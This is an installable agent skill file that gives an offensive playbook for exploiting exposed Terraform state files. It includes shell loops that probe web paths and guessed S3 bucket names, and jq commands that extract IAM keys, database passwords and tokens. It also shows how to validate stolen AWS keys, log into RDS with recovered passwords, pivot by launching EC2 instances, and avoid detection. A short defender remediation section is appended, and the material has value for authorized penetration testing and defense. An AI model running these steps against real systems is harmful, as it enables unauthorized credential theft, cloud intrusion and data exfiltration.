# Terraform State Leak

> Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON. Use when this capability is needed.

- Skill: `tomevault-io/terraform-state-leak` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add tomevault-io/terraform-state-leak`
- Raw SKILL.md: https://api.skillmd.com/api/skills/tomevault-io/terraform-state-leak/raw
- Safety review: pending (external: skill-scanner PASS, skillspector PASS)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: tomevault-io (https://skillmd.com/u/tomevault-io)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/tomevault-io/terraform-state-leak

---


# Terraform State Leak Exploitation

Terraform's `terraform.tfstate` file is a **plaintext JSON map of every
resource Terraform manages**, including:
- IAM access keys / secret keys
- Database passwords (RDS, ElastiCache, etc.)
- API tokens passed in as variables
- TLS private keys
- Resource IDs / ARNs / topology (great for follow-on attacks)

Best practice is to store it encrypted in S3 with KMS. Misconfigurations
that lead to leaks:
- S3 bucket with `public-read` ACL
- S3 bucket with overly permissive policy
- `terraform.tfstate` in a public Git repo (commit history!)
- Backup `terraform.tfstate.backup` left in webroot
- Jenkins workspace / GH Actions artifact exposing state

## 1. Discover exposed state files
**Web-exposed**:
```bash
# Common paths
for path in '/terraform.tfstate' '/terraform.tfstate.backup' \
            '/.terraform/terraform.tfstate' '/infra/terraform.tfstate' \
            '/deploy/terraform.tfstate' '/scripts/terraform.tfstate'; do
  curl -sf "https://$TARGET$path" -o "/tmp/tf-$(basename $path)" && \
    echo "FOUND: $TARGET$path"
done

# Or scan with feroxbuster
feroxbuster -u "https://$TARGET" -w /tmp/tf-paths.txt \
  -x tfstate,tfstate.backup,tfstate.json
```

**S3-direct**:
```bash
# Public bucket scan
aws s3 ls "s3://$BUCKET/" --no-sign-request --recursive | grep -E '\.tfstate'

# Common bucket-name patterns to enumerate
for prefix in "$ORG-terraform" "$ORG-tfstate" "$ORG-infra-state" \
              "tf-state-$ORG" "$ORG-iac" "terraform-$ORG"; do
  aws s3 ls "s3://$prefix" --no-sign-request 2>&1 | head -3
done
```

**Git-history**:
```bash
# Look for committed-then-removed state in target's public repos
gh search code "terraform.tfstate" --owner "$ORG" --json path,repository

# In a cloned repo
git log --all --full-history -- '*terraform.tfstate*'
git log -p --all --full-history -- '*terraform.tfstate*' | head -200
```

## 2. Parse the state
```bash
# Quick triage
jq '.terraform_version, .resources | length' /tmp/state.tfstate

# Extract every sensitive-looking value
jq -r '.resources[] | .instances[] | .attributes | to_entries[] |
       select(.key | test("password|secret|token|key|credential"; "i")) |
       "\(.key) = \(.value)"' /tmp/state.tfstate > /tmp/tf-secrets.txt

# IAM access keys (specifically)
jq -r '.resources[] | select(.type=="aws_iam_access_key") |
       .instances[] | .attributes |
       "\(.user) AKID:\(.id) SK:\(.secret)"' /tmp/state.tfstate

# RDS passwords
jq -r '.resources[] | select(.type=="aws_db_instance") |
       .instances[] | .attributes | "\(.identifier):\(.username):\(.password)"' \
  /tmp/state.tfstate

# Database connection URLs (often w/ embedded passwords)
jq -r '.resources[] | .instances[] | .attributes |
       to_entries[] | select(.value | tostring | test("://[^:]+:[^@]+@")) |
       .value' /tmp/state.tfstate

# Lambda env vars (often hold secrets)
jq -r '.resources[] | select(.type=="aws_lambda_function") |
       .instances[] | .attributes.environment[]?.variables' /tmp/state.tfstate
```

Decepticon ingest:
```
tfstate_audit("/tmp/state.tfstate")
```

## 3. Topology gold-mine
Beyond raw secrets, the state reveals:
- VPC IDs / subnet IDs / security group IDs / NACL rules
- Route 53 zones + internal DNS names
- All resource ARNs (good for IAM policy targeting later)
- Tags revealing org structure (environment, owner, cost-center)
- KMS key ARNs and aliases
- Lambda function code locations
- ECS task definitions / cluster names
- RDS endpoints + which security group / VPC

This data alone is high-value recon for a follow-on engagement.

## 4. Validate IAM keys
```bash
AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws sts get-caller-identity
# Returns the IAM ARN if valid → confirmed live cred

AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws iam get-user
# Get user details + creation date → know if it's a real human or service
```

Pivot to `aws-iam-enum/SKILL.md` for privesc from here.

## 5. RDS pivot
With password from state:
```bash
ENDPOINT=$(jq -r '.resources[] | select(.type=="aws_db_instance") |
           .instances[] | .attributes.endpoint' /tmp/state.tfstate | head -1)

# Connect (requires network reach — usually need to be in VPC or pivot)
mysql -h $ENDPOINT -u $USER -p$PASSWORD
psql -h $ENDPOINT -U $USER  # PGPASSWORD from state
```

If RDS isn't reachable from your perimeter: launch an EC2 in the same
VPC using IAM keys from state (if the role has ec2:RunInstances), then
hop through it.

## 6. Promote
```
kg_add_node(kind="vulnerability", label="Exposed Terraform state: <url>",
            props={"severity":"critical","secrets_found":<n>})
for each cred:
  kg_add_node(kind="credential", label="<service>:<value>")
  kg_add_edge(src=<vuln>, dst=<cred>, kind="exposes")
```

## OPSEC
- Reading a public bucket / web file leaves logs only at the storage layer (S3 access logs, CloudFront access logs)
- Using IAM keys triggers CloudTrail events (`GetCallerIdentity` is benign but observable)
- Many teams have detections for `*Sandbox*` / `*test*` IAM users being used from new IPs

## CVSS
- IAM access key from state + permissive policy: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` = 10.0
- RDS pw + DB has PII: 9.0 (network reach gates)
- Topology disclosure only: Medium 5-6

## Defender remediation
```bash
# Migrate to S3 backend with encryption + versioning
terraform {
  backend "s3" {
    bucket         = "tf-state-$ORG"
    key            = "infra.tfstate"
    region         = "us-east-1"
    encrypt        = true
    kms_key_id     = "arn:aws:kms:...:key/..."
    dynamodb_table = "tf-state-lock"
  }
}

# Verify bucket policy denies public access
aws s3api put-public-access-block --bucket tf-state-$ORG \
  --public-access-block-configuration \
  "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

# Scan repos for committed state files
git log --all --full-history -- '*tfstate*' && \
  echo "DELETE COMMIT HISTORY containing state files (use BFG repo-cleaner)"
```

## Known exemplars
- 2019: Capital One subsidiary leaked tfstate w/ RDS creds → DB exfil
- 2021: Multiple Fortune-500 had tfstate in public S3 (Detectify scan)
- 2023: GitHub Actions misconfig where tfstate was uploaded as artifact, downloadable without auth
- Pattern: terraform-cli running in CI without explicit `-backend-config=encrypt=true` defaults to local state which lands in artifact storage

---
> Source: [PurpleAILAB/Decepticon](https://github.com/PurpleAILAB/Decepticon) — distributed by [TomeVault](https://tomevault.io).
<!-- tomevault:4.0:skill_md:2026-06-15 -->

